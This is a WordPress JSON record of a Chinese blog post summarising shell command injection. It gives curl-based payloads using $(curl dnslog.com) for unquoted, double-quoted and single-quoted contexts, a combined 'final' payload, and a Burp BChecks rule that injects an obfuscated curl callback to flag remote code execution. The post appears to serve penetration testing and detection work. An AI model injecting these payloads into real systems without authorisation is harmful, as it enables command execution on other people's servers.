{"id":143,"date":"2025-05-24T19:28:15","date_gmt":"2025-05-24T11:28:15","guid":{"rendered":"https:\/\/codecraft.xin\/?p=143"},"modified":"2025-05-24T19:47:20","modified_gmt":"2025-05-24T11:47:20","slug":"%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5%e6%80%bb%e7%bb%93","status":"publish","type":"post","link":"https:\/\/codecraft.xin\/?p=143","title":{"rendered":"\u547d\u4ee4\u6ce8\u5165\u603b\u7ed3"},"content":{"rendered":"\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u5e8f\u8a00<\/p>\n\n\n\n<p>\u603b\u7ed3\u547d\u4ee4\u6ce8\u5165\u7684\u6240\u6709\u53ef\u80fd\u6027\u7684\u60c5\u51b5\u5e76\u4e14\u5f97\u51fa\u6700\u901a\u7528\u7684payload<\/p>\n\n\n\n<p>\u6587\u7ae0\u4e2d\u6240\u6709\u53ef\u63a7\u7684\u5730\u65b9\u4e3atest<\/p>\n\n\n\n<p>\u76f4\u63a5\u62fc\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl test.abc.com\n<\/code><\/pre>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl test.$(curl dnslog.com).com\n<\/code><\/pre>\n\n\n\n<p>\u53cc\u5f15\u53f7\u62fc\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl test.abc.com\n<\/code><\/pre>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl \"test.$(curl dnslog.com).com\"\n<\/code><\/pre>\n\n\n\n<p>\u5355\u5f15\u53f7\u62fc\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl test.abc.com\n<\/code><\/pre>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl 'test.'$(curl dnslog.com)'.com'\n<\/code><\/pre>\n\n\n\n<p>\u603b\u7ed3<\/p>\n\n\n\n<p>\u5355\u53cc\u5f15\u53f7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl 'test.'\"$(curl dnslog.com).com\"''\n<\/code><\/pre>\n\n\n\n<p>\u8f93\u5165payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>'\"$(curl dnslog.com).com\"'\n<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u62fc\u63a5\u8fd9\u4e2apayload\u4e0d\u884c<\/p>\n\n\n\n<p>\u6240\u4ee5\u6700\u7ec8payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$(curl dnslog.com)'$(curl dnslog.com)'\n<\/code><\/pre>\n\n\n\n<p>BChecks<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>metadata:\nlanguage: v1-beta\nname: \"rce\"\ndescription: \"rce\"\nauthor: \"chain00x\"\n\ngiven insertion point then\n send payload:\n  appending: `$(a=cu;b=rl;$a$b {generate_collaborator_address()})'$(a=cu;b=rl;$a$b {generate_collaborator_address()})'`\n\n   if any interactions then\n    report issue:\n    severity: high\n    confidence: firm\n    detail: \"rce\"\n    remediation: \"rce\"\n    end if<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u5e8f\u8a00 \u603b\u7ed3\u547d\u4ee4\u6ce8\u5165\u7684\u6240\u6709\u53ef\u80fd\u6027\u7684\u60c5\u51b5\u5e76\u4e14\u5f97\u51fa\u6700\u901a\u7528\u7684payload \u6587\u7ae0\u4e2d\u6240\u6709\u53ef\u63a7\u7684\u5730\u65b9\u4e3atest \u76f4\u63a5\u62fc\u63a5  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":136,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,1],"tags":[],"class_list":["post-143","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-all-essay","category-lern"],"_links":{"self":[{"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/posts\/143","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/codecraft.xin\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=143"}],"version-history":[{"count":1,"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/posts\/143\/revisions"}],"predecessor-version":[{"id":144,"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/posts\/143\/revisions\/144"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codecraft.xin\/index.php?rest_route=\/wp\/v2\/media\/136"}],"wp:attachment":[{"href":"https:\/\/codecraft.xin\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=143"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codecraft.xin\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=143"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codecraft.xin\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=143"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}